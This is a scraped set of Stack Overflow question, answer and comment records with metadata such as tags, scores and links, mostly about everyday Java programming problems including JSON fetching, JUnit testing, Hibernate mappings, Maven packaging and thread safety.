has comment: http://stackoverflow.com/comment/33834283
has answer: http://stackoverflow.com/a/22275023
has comment: http://stackoverflow.com/comment/33839442
type: Question
has answer: http://stackoverflow.com/a/22273552
has body: I'm learning Java, so I decided to toy around with the GW2 with the hope of coding something useful: API:http://wiki.guildwars2.com/wiki/API:Main I'm trying to get the following data: https://api.guildwars2.com/v1/world_names.json into a Java String, this is my code: public static void main(String[] args) { URL url = null; String jsonData = ""; try { url = new URL("https://api.guildwars2.com/v1/world_names.json"); InputStream is = url.openStream(); Scanner scan = new Scanner(is); while(scan.hasNext()) { jsonData += scan.next(); } scan.close(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } System.out.println(jsonData); } The problem is I'm losing the format of the Strings (I'm missing the blank characters that separate words). This is what you see if you access the URL: [{"id":"1009","name":"Fort Aspenwood"}, {"id":"1005","name":"Maguuma"}, {"id":"1008","name":"Jade Quarry"}, This is what I get in my String: {"id":"1009","name":"FortAspenwood"}, {"id":"1005","name":"Maguuma"}, {"id":"1008","name":"JadeQuarry"} How can I fix that? am I doing something wrong? My final goal is to convert this data to an object, and then be able to ask for an specific ID or NAME to the api and get more data, such as maps or events, but first things first, since I'm learning and I can't get the String right.. Thank you for reading,
has comment: http://stackoverflow.com/comment/33834378
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/33834503
possible better answer: http://stackoverflow.com/a/22273527
accepted answer: http://stackoverflow.com/a/22275023
has answer: http://stackoverflow.com/a/22273527
has title: How do I get json data from a URL without losing spaces in Java?
has comment: http://stackoverflow.com/comment/33834318
has comment: http://stackoverflow.com/comment/33835418

http://stackoverflow.com/comment/33898023
has text: I completely understood what you were referring.. :) i would like to know more on this topic.. maybe i should go through the JLS on type parameters a little more..
type: AnswerComment
comment on: http://stackoverflow.com/a/22290104
score: 0
type: Comment

http://stackoverflow.com/comment/33659045
type: Comment
comment on: http://stackoverflow.com/a/22176438
has text: @christopher not able to declare it,,,have to initialsize it,,,otherwise giving error..!!
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33894720
type: AnswerComment
type: Comment
has text: Perfect, it works fine, except for Strings and Characters. But for every other primitiv type it works
comment on: http://stackoverflow.com/a/22283066
score: 0

http://stackoverflow.com/comment/33785731
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22246680
has text: Did you enable pop in your mail settings? Checkout this [link](https://support.google.com/mail/troubleshooter/1668960?hl=en#ts=1665119)

http://stackoverflow.com/comment/33870456
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22292993
has text: i am trying to add one more java file but not able to add @WhoAmI
score: 0

http://stackoverflow.com/a/22258391
has body: XplosionCoreBL.newModVersion().$plus$eq(new NewModVersionEntry(name, latestVersion, latestMCVersion, isCritical, description)); In Java, $plus$eq corresponds to the += (append single element) method of ListBuffer.
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22257978
answers question: http://stackoverflow.com/q/22257978
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33906889
score: 0
has text: Yes the DataGrid class was created by another developer that is not currently available to consult with. Obviously since my datagrid has already been implemented and currently works (minus the double click handler) I can't change too much of it... so where does that leave me with possible solutions for a double click handler?
type: Comment
comment on: http://stackoverflow.com/a/22313508
type: AnswerComment

http://stackoverflow.com/comment/33738064
comment on: http://stackoverflow.com/a/22220105
score: 0
type: AnswerComment
type: Comment
has text: @AloneInTheDark so when you open the new frame, it's all new data, is that what your saying? What about when you navigate back to the old frame, will that be new data too or still the old data?

http://stackoverflow.com/a/22258864
type: Answer
has comment: http://stackoverflow.com/comment/33808309
has comment: http://stackoverflow.com/comment/33808072
has comment: http://stackoverflow.com/comment/33807848
has body: Try setting textview inside a handler: @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); switch(resultCode) { case RESULT_OK: String ringtoneTitle = null; ringtoneUri = data.getParcelableExtra(RingtoneManager.EXTRA_RINGTONE_PICKED_URI); if(ringtoneUri != null) { ringtoneValue = ringtoneUri.toString(); //diesen Wert später in Datenbank abspeichern !! ringtoneTitle = RingtoneManager.getRingtone(this, ringtoneUri).getTitle(this); //Titel getten } new Handler().post(new Runnable() { @Override public void run() { textViewRingtone.append(": " + ringtoneTitle); //Titel zu TextView setzen } }); break; } }
answers question: http://stackoverflow.com/q/22258683
has comment: http://stackoverflow.com/comment/33808126
score: 0

http://stackoverflow.com/a/24027670
has body: I had the same problem and solved now. Just check for correct encoding. make sure you have encoded everything to the same charset. in my case I am using ISO8859_1 encoding. the server was responding OK to firefox browser but error500 to my java program. I changed to ISO8859_1 and now it is working: public void sendPost(String Url, String params) throws Exception { String url=Url; URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); con.setRequestProperty("Acceptcharset", "en-us"); con.setRequestProperty("Accept-Language", "en-US,en;q=0.5"); con.setRequestProperty("charset", "EN-US"); con.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); String urlParameters=params; // Send post request con.setDoOutput(true); con.setDoInput(true); con.connect(); //con. DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(urlParameters); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); System.out.println("\nSending 'POST' request to URL : " + url); System.out.println("Post parameters : " + urlParameters); System.out.println("Response Code : " + responseCode); BufferedReader in = new BufferedReader( new InputStreamReader(con.getInputStream())); String inputLine; StringBuffer response = new StringBuffer(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); //print result System.out.println(response.toString()); this.response=response.toString(); con.disconnect(); } In the main program I call it like this: certcon.sendPost("https://www.desphilboy.com/authbox/generateCRT","csr_string="+URLEncoder.encode(requestparams,"ISO8859_1"));
score: 0
answers question: http://stackoverflow.com/q/22283124
type: Answer

http://stackoverflow.com/q/22281754
has title: java.lang.Float to Oracle DB number(3,3)
downvote count: 0
tagged with: oracle-database
answer count: 1
has answer: http://stackoverflow.com/a/22281976
favorite count: 0
has body: I have a float value in Java, to update into a Oracle 10g Database. The column's data type is number(3,3). But when I try to insert it shows: ORA-01438: value larger than specified precision allowed for this column How to downcast the float to store into the Database?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22281976
score: 1
tagged with: java
upvote count: 1
type: Question
tagged with: jakarta-ee

http://stackoverflow.com/a/31284337
answers question: http://stackoverflow.com/q/22308158
score: 0
has body: Instead of having a synchronized methods, the better solution would be to have a threadpool with single thread backed by a blocking queue. The message application would be writing will be pushed to blocking queue. The log writer thread would continue to read from blocking queue (will be blocked in case queue is empty) and would continue to write it to single file.
type: Answer

http://stackoverflow.com/q/22182167
upvote count: 1
tagged with: spring
type: Question
tagged with: spring-mvc
tagged with: spring-mvc-test
has answer: http://stackoverflow.com/a/22182342
score: 1
tagged with: java
tagged with: junit
downvote count: 0
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22182342
has body: I am doing junit on my Spring MVC controller - @RequestMapping(value = "index", method = RequestMethod.GET) public HashMap&lt;String, String&gt; handleRequest() { HashMap&lt;String, String&gt; model = new HashMap&lt;String, String&gt;(); String name = "Hello World"; model.put("greeting", name); return model; } And below is my junit for the above method - public class ControllerTest { private MockMvc mockMvc; @Before public void setup() throws Exception { this.mockMvc = standaloneSetup(new Controller()).build(); } @Test public void test01_Index() { try { mockMvc.perform(get("/index")).andExpect(status().isOk()); } catch (Exception e) { e.printStackTrace(); } } } Above junit works fine.. But my question is how do I junit the return type of handleRequest which is returning a HashMap with key and value pair.. How do I verify that it is returning Hello World? Is there any method to do that as well?
has title: How to junit return type of a method in spring mvc controller
type: AnsweredQuestion

http://stackoverflow.com/q/22325185
has body: I've been trying to create a class that will model a scenario I've come up with. It will involve a map with string keys and values. I need to create an instance variable used to reference the map object, and a constructor that creates the empty map and assigns it to the map instance variable. I've been messing around with map objects but not creating a class using them, and I've hit a mental block! What's the proper way to actually get a map object?
possible better answer: http://stackoverflow.com/a/22325287
has answer: http://stackoverflow.com/a/22325287
favorite count: 0
upvote count: 0
score: -4
has answer: http://stackoverflow.com/a/22325232
tagged with: dictionary
answer count: 4
downvote count: 4
has answer: http://stackoverflow.com/a/22325247
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22325247
has answer: http://stackoverflow.com/a/22325280
tagged with: java
type: Question
tagged with: bluej
has title: How to create a map instance variable

http://stackoverflow.com/q/22237733
type: Question
tagged with: moxy
has title: Lazy handling of JAXB classes
upvote count: 2
has comment: http://stackoverflow.com/comment/33770255
answer count: 1
tagged with: cxf
has answer: http://stackoverflow.com/a/22259616
tagged with: java
tagged with: jaxb
score: 2
type: AnsweredQuestion
downvote count: 0
has body: I have an application with 2500 possible java classes which can be returned by web services (done with CXF). The problem is that creating a JAXB context for the 2500 classes takes a long time and lots of memory while on most scenarios only 200 classes will really be required. What I would want is a JAXB context which knows to do lazy handling only for the needed classes (delay all the code generation stuff to when the class is needed). I know the current implementation doesn't support it but I would like to extend it. If someone knows about possible hooks or a good starting point it will be great. Another point is which engine will be easier yo extend, moxy or metro. Thanks in advance, Avner
has comment: http://stackoverflow.com/comment/33843453
favorite count: 0
tagged with: jaxb2
accepted answer: http://stackoverflow.com/a/22259616

http://stackoverflow.com/comment/33703927
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22171853
has text: I want to use just java, do not want to implement hadoop mapper

http://stackoverflow.com/q/22214500
tagged with: final
tagged with: java
tagged with: annotations
has answer: http://stackoverflow.com/a/22214924
accepted answer: http://stackoverflow.com/a/22214924
has body: Can I create annotations for the final variables in my interface and access the same? For Example I have the below Annotation &amp; Interface: import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; @Target(ElementType.FIELD) @Retention(RetentionPolicy.RUNTIME) @interface MyAnnotation { String description(); } public interface MyInterface { @MyAnnotation(description="This is a Final variable in MyInterface") public static final String MY_FINAL_VAR = "MyFinalVariable"; } How will I convert my final variable String to Field? Say import java.lang.annotation.Annotation; import java.lang.reflect.Field; public class MyAnnotationRunner{ public static void main(String[] args){ Field field = ???????????????????????????????? MyAnnotation myAnnotation = (MyAnnotation)field.getAnnotation(MyAnnotation.class); if(myAnnotation != null ){ System.out.println("Description: " + myAnnotation.description()); } } } Thanks
type: Question
has title: How to create Java field annotations for final variables in my Interface
score: 0
answer count: 1
tagged with: interface
type: AnsweredQuestion

http://stackoverflow.com/a/22290040
downvote count: 0
answers question: http://stackoverflow.com/q/22289979
type: Answer
score: 1
has comment: http://stackoverflow.com/comment/33864664
upvote count: 1
has comment: http://stackoverflow.com/comment/33864720
has body: That's right, simply put: Instance methods can access instance and static variables of the same class (if other access modifiers permit so); Static methods can only access static variables of the same class.
has comment: http://stackoverflow.com/comment/33865260

http://stackoverflow.com/a/22290341
has body: I would go with @dasblinkenlight's solution, however I would add a toString method to the Track class. I would also go further and make it an immutable value type object, but then thats probably over the top for your needs. The toString would allow you to do: System.out.println("Track: " + track);
type: Answer
answers question: http://stackoverflow.com/q/22290248
score: 0

http://stackoverflow.com/comment/33728243
type: Comment
type: QuestionComment
has text: What's wrong with the sports car having its own private gear? In order to fulfil the promise it's making by implementing IGearChangable it's probably going to need to store the current gear somewhere ^^
comment on: http://stackoverflow.com/q/22214708
score: 0

http://stackoverflow.com/q/22246418
has body: I have an R function with my_string parameter. In my case, parameter my_string is a very long json string, with many quotes. my_function&lt;-function(my_string) return(my_string) When I run it from R: &gt;my_function('string"with"quotes') [1] "string\"with\"quotes" It works well. But when I try to run this function from Shell: R -e "source('./my_function.R'); my_function('string"with"quotes')" It fails with error, because shell can't deal with quotes. I need to run this function directly with json string parameter. If it is impossible to do this from Shell, maybe there are other ways to run R function from PHP or Java with string, that contains quotes? P.S. I know, that in Shell I can escaping the double quotes with \", and it will work, but json string is very long, therefore I can't do it manually every time.
has comment: http://stackoverflow.com/comment/33786420
has comment: http://stackoverflow.com/comment/33787588
tagged with: http://stackoverflow.com/tag/r
has comment: http://stackoverflow.com/comment/33827917
score: 0
linked to: http://stackoverflow.com/q/22221113
has comment: http://stackoverflow.com/comment/33786067
tagged with: shell
linked to: http://stackoverflow.com/q/22225253
has comment: http://stackoverflow.com/comment/33785671
favorite count: 0
has comment: http://stackoverflow.com/comment/33785279
has title: Run R function with string parameter from Shell, PHP or Java
has comment: http://stackoverflow.com/comment/33787710
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33787845
has comment: http://stackoverflow.com/comment/33787257
upvote count: 1
has comment: http://stackoverflow.com/comment/33785455
tagged with: php
has comment: http://stackoverflow.com/comment/33787104
has comment: http://stackoverflow.com/comment/33827958
answer count: 0
tagged with: java
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33787448
has comment: http://stackoverflow.com/comment/33787169

http://stackoverflow.com/q/22285761
score: 0
has title: Error when submiting form:Data truncation: Incorrect datetime
answer count: 1
accepted answer: http://stackoverflow.com/a/22300433
has answer: http://stackoverflow.com/a/22300433
has comment: http://stackoverflow.com/comment/33857373
type: AnsweredQuestion
has body: I got this exception when I valid my form, dao.DAOException: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Incorrect datetime value: '\xAC\xED\x00\x05sr\x00\x1Acom.sun.jmx.snmp.Timestamp\xFC\xA2\x9Fq\xB8z\xE9!\x02\x00\x04J\x00\x06crtimeJ\x00\x09sysUpTimeL\x00\x0' for column 'date' at row 1 at dao.CommandeDaoImpl.creer(CommandeDaoImpl.java:55) at forms.InscriptionCommandeForm.inscrireCommande(InscriptionCommandeForm.java:95) at servlets.Commande.doPost(Commande.java:50) at javax.servlet.http.HttpServlet.service(HttpServlet.java:646) codes part of concerned class CommandeDaoImpl: public void creer(CommandeBean commande) throws DAOException { Connection connexion = null; PreparedStatement preparedStatement = null; ResultSet valeurAutoGenerees = null; try{ connexion = daoFactory.getConnection(); preparedStatement = DAOUtilitaire.initialisationRequetePreparee( connexion, SQL_INSERT, true, commande.getClient().getId(), new Timestamp( commande.getDate().getMillis()), commande.getMontant(), commande.getModePaiement(), commande.getStatutPaiement(), commande.getModeLivraison(), commande.getStatutLivraison()); int statut = preparedStatement.executeUpdate(); if(statut == 0){ throw new DAOException("Echec de la creation de la commande, aucune ligne ajoutée dans la table."); } valeurAutoGenerees = preparedStatement.getGeneratedKeys(); if(valeurAutoGenerees.next()){ commande.setId( valeurAutoGenerees.getLong(1)); }else{ throw new DAOException("Échec de la création de la commande en base," + " aucun ID auto-généré retourné."); } }catch(SQLException e){ throw new DAOException(e); }finally{ DAOUtilitaire.fermeturesSilencieuses(valeurAutoGenerees, preparedStatement, connexion); } } Note: this two ligne concern two class of two differents projects: at forms.InscriptionCommandeForm.inscrireCommande(InscriptionCommandeForm.java:95) at servlets.Commande.doPost(Commande.java:50) Edited: SQL_INSERT = "INSERT INTO commande ( id_client, date, montant, mode_paiement, statut_paiement, mo…
has comment: http://stackoverflow.com/comment/33857017
tagged with: java
has comment: http://stackoverflow.com/comment/33859006
tagged with: mysql
has comment: http://stackoverflow.com/comment/33856899
has comment: http://stackoverflow.com/comment/33857121
tagged with: servlets
type: Question
tagged with: jakarta-ee
tagged with: jsp
has comment: http://stackoverflow.com/comment/33857719

http://stackoverflow.com/comment/33679480
comment on: http://stackoverflow.com/q/22186309
has text: The column definition means that you need to read the entire file in memory and then produce the columns. Presumably it is not a huge file, so that should be OK. Are all the columns separated just by commas? Do all the rows have the same number of columns?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22279993
has comment: http://stackoverflow.com/comment/33847104
has comment: http://stackoverflow.com/comment/33846523
has comment: http://stackoverflow.com/comment/33846373
score: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/33846648
tagged with: multithreading
tagged with: concurrentmodification
has comment: http://stackoverflow.com/comment/33847559
has comment: http://stackoverflow.com/comment/33846774
linked to: http://stackoverflow.com/q/3222512
has comment: http://stackoverflow.com/comment/33847472
tagged with: java
answer count: 3
tagged with: mysql
tagged with: concurrency
upvote count: 1
has answer: http://stackoverflow.com/a/22280049
has body: I want to load some system information from mysql with java periodically, maybe 10 seconds once, and use one thread to finish this, at the same time, there are mutiple threads need to read this information, there are two situatons : 1, declare a public static map : public volatile static Map&lt;String, String&gt; info = new HashMap&lt;String, String&gt;(); // Context.java // start a thread to load from mysql private void load() { new Thread(new Runnable() { while(true) { // return a map info = loadFromDB(); // every time a new map Thread.sleep(5 * 1000); // sleep 5 seconds } }).start(); } // mutiple threads call this function public String getConfig(String key) { return Context.map.get(key); } Just as the code shows, every time the thread load info from db, it's a new map, and I needn't change the map content, is this thread safe? 2, maybe I want a sorted map, and the read threads need to fetch the max key in the map, in this situation, should I use TreeMap or ConcurrentSkipListMap? Update change the Map info with volatile to avoid cache with cpu.
has comment: http://stackoverflow.com/comment/33846627
has answer: http://stackoverflow.com/a/22281011
has title: Do I need to use thread safe map in this case?
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22280664

http://stackoverflow.com/comment/33908785
type: QuestionComment
comment on: http://stackoverflow.com/q/22314559
has text: @Mr.Polywhirl no I couldnt
score: 0
type: Comment

http://stackoverflow.com/q/22213988
has title: Building a framework in Java for helping people lose weight through exercise recommendation
has comment: http://stackoverflow.com/comment/33774349
has comment: http://stackoverflow.com/comment/34260870
has body: For my final project in my Computer Engineering program, I have chosen to make a framework that helps people lose weight by recommending how much exercise the user should do. Terrible idea... But now I am stuck with it, so might as well just make it work. As for the algorithms of recommendation, I pretty much got all of that covered, so it isn't the issue. The issues I am having are with organizing all of this in the shape of a framework, I must admit I am completely lost. My professor/project supervisor wants me to use the MVC pattern for it, but I can't see how I can make this work, specially since it's main use is going to be for Android. My original plan was to not include the GUI, that way, developers could also use it for Desktop applications, but my professor demanded I do include it. As it stands I have a layered architecture that my professor approved,but I really do not see how I can implement it. Here it is: So basically what I am asking for is some insight on how to take this layered architecture, or just the concept for that matter and make the class diagram for it or at least have an idea on how to begin the implementation. Thanks in advance. Any help will be useful.
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33727199
has comment: http://stackoverflow.com/comment/33727243
has comment: http://stackoverflow.com/comment/33727705
tagged with: model-view-controller
answer count: 0
tagged with: software-design
has comment: http://stackoverflow.com/comment/34109942
has comment: http://stackoverflow.com/comment/33727574
tagged with: java
has comment: http://stackoverflow.com/comment/33752380
has comment: http://stackoverflow.com/comment/33801991
has comment: http://stackoverflow.com/comment/33752122
type: Question
tagged with: frameworks
has comment: http://stackoverflow.com/comment/33727517
has comment: http://stackoverflow.com/comment/34260835
score: 0

http://stackoverflow.com/q/22240987
tagged with: arraylist
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/22241029
accepted answer: http://stackoverflow.com/a/22240998
tagged with: interface
type: AnsweredQuestion
has body: So I ran across this code online: public static interface Node { int getValue(); List&lt;Node&gt; getChildren(); } Can someone explain List&lt;Node&gt; getChildren()? I don't really understand this because the interface is called Node, so is this an arraylist of interfaces? This code is a snippet of several sample methods that manipulate trees.
tagged with: java
has answer: http://stackoverflow.com/a/22240998
type: Question
has title: Interface stored in arraylist
has answer: http://stackoverflow.com/a/22241029

http://stackoverflow.com/a/22239456
answers question: http://stackoverflow.com/q/22239191
score: 0
has body: Maze values are passed by reference, which means that your values are being changed when they are not supposed to be. You have to remove the path after you back track. Simplify your logic like this - boolean solve(Maze maze, Position current, Position destination){ if(maze.isSolved(current)){ return true; } for(Position p: maze.getNeighbourCells()){ if(maze.isWall(p)) continue; if(maze.isOutside(p)) continue; maze.markPath(p); if(solve(maze, p, destination)) { true; } maze.removePath(p); } }
type: Answer

http://stackoverflow.com/comment/33840765
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22276921
type: Comment
has text: +1 Increasing the heap will help if you get an OutOfMemoryError after the JVM starts, this error means there isn't enough system memory to allocate the heap in the first place.

http://stackoverflow.com/comment/33831981
type: Comment
has text: launch4j SEEMS to be the solution for me. Working on all machines tested so far. Would you like to answer it so I can accept?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22258646

http://stackoverflow.com/a/22340045
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/34542067
downvote count: 0
has comment: http://stackoverflow.com/comment/34524078
type: Answer
answers question: http://stackoverflow.com/q/22274776
has body: Listen for ACTION_SCREEN_OFF to start timer, and clear timer only if you receive ACTION_USER_PRESENT, so you won't accidentally clear your timer when the screen is turned on by some apps. For above method you can include the following when you start your timer. This way you take the auto-lock delay into account when the screen is off. Settings.Secure.getLong(getContentResolver(), "lock_screen_lock_after_timeout", 5000); Alternatively, you can use KeyguardManager to check if the lock screen is enabled every 1ms or so after screen is off. In general, the idea is lock screen --&gt; idle; no lock screen --&gt; not idle

http://stackoverflow.com/comment/33695656
has text: Yes, it says the class cannot be instantiated because it tries to use a no-arg constructor to make it. And the class has no such constructor.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22172638

http://stackoverflow.com/comment/33698951
has text: Honestly, without seeing how things are currently layed out, it's hard to tell what will work for you. Like I said there are so many option. Instead of `BorderLayout` you could use a vertical `BoxLayout` a `GridLayout(0, 1)` or even a `GridBagLayout` for the entire thing. The key though is nesting `JPanel`. I don't think there's a way around that with standard layout managers.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22198791
type: Comment

http://stackoverflow.com/a/22248861
has comment: http://stackoverflow.com/comment/33789995
accepted answer of: http://stackoverflow.com/q/22248814
score: 0
type: AcceptedAnswer
has body: If you use hyphen inside [] then always place at the first or at the last. Pattern p = Pattern.compile("\"(\\d+)\":\"([-\\w.' ]+)\""); ^ here Also the way you are checking the group() is not correct. Check here: while(matcher.find()){ System.out.println(matcher.group(1)); System.out.println(matcher.group(2)); }
answers question: http://stackoverflow.com/q/22248814
type: Answer
has comment: http://stackoverflow.com/comment/33789782

http://stackoverflow.com/comment/33752241
comment on: http://stackoverflow.com/q/22228561
has text: http://stackoverflow.com/questions/3213045/centering-text-in-a-jtextarea-or-jtextpane-horizontal-text-alignment
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22243774
downvote count: 0
answers question: http://stackoverflow.com/q/22243697
type: Answer
has body: Your XPath for a typical recursion of child elements would be: to choose any child of a child of a child etc.... descendant-or-self::* to choose a specific node name descendant-or-self::nodeName e.g. descendant-or-self::foo will select all descendants of the current context with the name foo. to put this into a recursive loop you would use the following: &lt;xsl:for-each select="document/node"&gt; &lt;xsl:for-each select="descendant-or-self::*&gt; ... &lt;/xsl:for-each&gt; &lt;/xsl:for-each&gt; For more info: http://www.stylusstudio.com/xsllist/200310/post30960.html
score: 1
upvote count: 1

http://stackoverflow.com/q/22181164
downvote count: 1
has comment: http://stackoverflow.com/comment/33668111
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33667959
accepted answer: http://stackoverflow.com/a/22181841
tagged with: java
tagged with: maven-assembly-plugin
has comment: http://stackoverflow.com/comment/33673623
has comment: http://stackoverflow.com/comment/33668008
type: Question
has title: Building an executable jar with Maven, Eclipse
has comment: http://stackoverflow.com/comment/33668065
answer count: 1
tagged with: executable-jar
favorite count: 0
score: 0
has body: End goal is I am trying to build an executable jar in eclipse with maven, that's packaged with its dependencies like so. The end file structure I'm trying to accomplish is the following.. /target/my-distributable.zip |- lib (all third party jar's, which I have loaded through maven) |- images (the images my swing app can reference) |- my-application.jar (my executable jar, manifiest within with correct classpath references) |- my-application.properties (the properties my app reads and can modify) |- READ-ME.TXT From here the end user would be able to unzip the distributable zip file, double click on the jar to start a java swing application which has dependencies located in the /lib directory. And there's a text editor in/as part of the swing app that I'd like to have reference images from the /images directory. What I would like to accomplish is having maven create a zip file which contains everything in this /dist folder, including my executable jar and it's dependencies located in a lib directory. I know I need to have my exec jar's manifest include the Main class from which to run the application, and include the lib and images directory on the classpath of the manifest as well as my properties file. I have tried several combinations of the maven shade plugin which seems to throw everything in one jar (not useful here as I need the zip with my exec jar inside, and lib outside the exec jar), and maven-assembly-plugin. Here is my current POM with dependencies.. 4.0.0 com.kiosk kiosk-application 2.1 Kiosk Application <jdk.version>1.5</jdk.version> commons-beanutils commons-beanutils 1.9.1 commons-collections commons-collections 3.2.1 commons-configuration commons-configuration 1.10 commons-io commons-io 2.4 commons-jxpath commons-jxpath 1.3 net.sf.ezmorph ezmorph 1.0.6 com.itextpdf itextpdf 5.5.0 com.miglayout miglayout 3.7.4 com.shef shef 1.0 net.sf.json-lib json-lib 2.2.2 com.novaworx.syntax novaworx-syntax 0.0.7 sam.i.am sam-i-am 1.0 jtidy.me jtidy-8 8.0 And this…
has comment: http://stackoverflow.com/comment/33668384
has answer: http://stackoverflow.com/a/22181841
tagged with: maven
upvote count: 1

http://stackoverflow.com/comment/33741715
has text: And I just rushed through the web for verification and found that I'm not the only one having experienced that: http://jfpoilpret.blogspot.de/2009/02/jinternalframe-lesson-learned.html
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22215146
type: Comment

http://stackoverflow.com/a/22296371
has comment: http://stackoverflow.com/comment/33888289
downvote count: 0
answers question: http://stackoverflow.com/q/22296083
has comment: http://stackoverflow.com/comment/33880332
upvote count: 2
has body: Memoization might come in handy. The idea would be to run depth-first search to count the number of ways to get from the current state to the end, and store this result, then look up the already-calculated value if ever that state is repeated. For instance, there are 2 ways to reach the end from -#-#-, so, storing this result when we get there via -##--, we could simply look up 2 when we get there via #--#-. The simplest (but far from most efficient) way to store these would simply be to have a: Map&lt;Pair&lt;Integer (Position1), Integer (Position2)&gt;, Integer (Count)&gt; More generically, you could perhaps make that Pair a List. A more efficient approach would be to have a bitmap where each bit corresponds to whether or not there's a soldier at some given position. So -#-#- would correspond to 01010, which could simply be stored in an int as 10 in decimal - if there are more than 64 stones (i.e. what would fit into a long), you could use a BitSet.
has comment: http://stackoverflow.com/comment/33888216
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33887868
has comment: http://stackoverflow.com/comment/33884087

http://stackoverflow.com/q/22213995
accepted answer: http://stackoverflow.com/a/22214968
has comment: http://stackoverflow.com/comment/33728193
has comment: http://stackoverflow.com/comment/33728096
has body: I have an existing database modeled the following way: users - Id(PK), login, password locales - Id(PK), descripcion, direccion, etc... users_locales - user_id(K), local_id(K) and entity classes as follow User @Entity @Table(name="users") public class User { @Id @GeneratedValue private Integer id; private String login; private String password; @ManyToMany(cascade = CascadeType.ALL) @JoinTable(name = "user_locales", joinColumns = {@JoinColumn(name = "user_id") }, inverseJoinColumns = { @JoinColumn(name = "local_id") }) private List&lt;Local&gt; userLocales = new ArrayList&lt;Local&gt;(); Local @Entity @Table(name="locales") public class Local { @Id @Column(name="id") @GeneratedValue private Integer id; @Column(name="descripcion") private String descripcion; @Column(name="direccion") private String direccion; @ManyToMany(cascade = CascadeType.ALL) @JoinTable(name = "user_locales", joinColumns = {@JoinColumn(name = "local_id") }, inverseJoinColumns = { @JoinColumn(name = "user_id") }) private List&lt;User&gt; localesUser = new ArrayList&lt;User&gt;(); I need to use a option select in a jsp page that displays a list of "locals" partners the user logged in, but i cant deploy it correctly. This is not fully developed and I'm doing one or more things wrong, because i can't fully understand how hibernate and Spring security works. Would need to create a service in "UserService" that generated the list and this is what I need help. I add some code snippets that I think could be needed for this task. userService public interface UserService { public User getUser(String login); } localServiceImpl @Transactional public List&lt;Local&gt; listLocal() { return localDAO.listLocal(); } //This just show a list of all Local objects in database localDAOImpl @Repository public class LocalDAOImpl implements LocalDAO { @Autowired private SessionFactory sessionFactory; public List&lt;Local&gt; listLocal() { return sessionFactory.getCurrentSession().createQuery("from Local") .list(); } } co…
tagged with: spring
has answer: http://stackoverflow.com/a/22214968
type: AnsweredQuestion
tagged with: many-to-many
tagged with: java
tagged with: hibernate
type: Question
has comment: http://stackoverflow.com/comment/33728222
answer count: 1
tagged with: spring-security
score: 0
has comment: http://stackoverflow.com/comment/33728360
has title: List ManyToMany related objects to the current user session

http://stackoverflow.com/comment/33859000
has text: I wouldn't want a CSV parser to do anything other than spit out Strings. Your issue is probably that you're trying to cast a String to a Class object.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22286878

http://stackoverflow.com/comment/90682573
type: Comment
type: QuestionComment
score: 3
has text: FYI, the terribly troublesome old date-time classes such as [`java.util.Date`](https://docs.oracle.com/javase/10/docs/api/java/util/Date.html), [`java.util.Calendar`](https://docs.oracle.com/javase/10/docs/api/java/util/Calendar.html), and `java.text.SimpleDateFormat` are now [legacy](https://en.wikipedia.org/wiki/Legacy_system), supplanted by the [*java.time*](https://docs.oracle.com/javase/10/docs/api/java/time/package-summary.html) classes built into Java 8 and later. See [*Tutorial* by Oracle](https://docs.oracle.com/javase/tutorial/datetime/TOC.html).
comment on: http://stackoverflow.com/q/22326339

http://stackoverflow.com/comment/33764624
has text: I'm trying to put the ellipse objects for Status, Scope, Budget, Quality, Resources and Timeline. Somehow creating the objects the pptx gets corrupted.
score: 0
comment on: http://stackoverflow.com/q/22222042
type: Comment
type: QuestionComment

http://stackoverflow.com/a/78294575
score: 0
has body: Check SecuMas(a python package) with built-in functions for security identifiers. Refer below code. To generate CUSIP check digit, input 8 character string. import SecuMas print (SecuMas.cusip.get_check_digit('H4209710'))
type: Answer
answers question: http://stackoverflow.com/q/22231257

http://stackoverflow.com/q/22192365
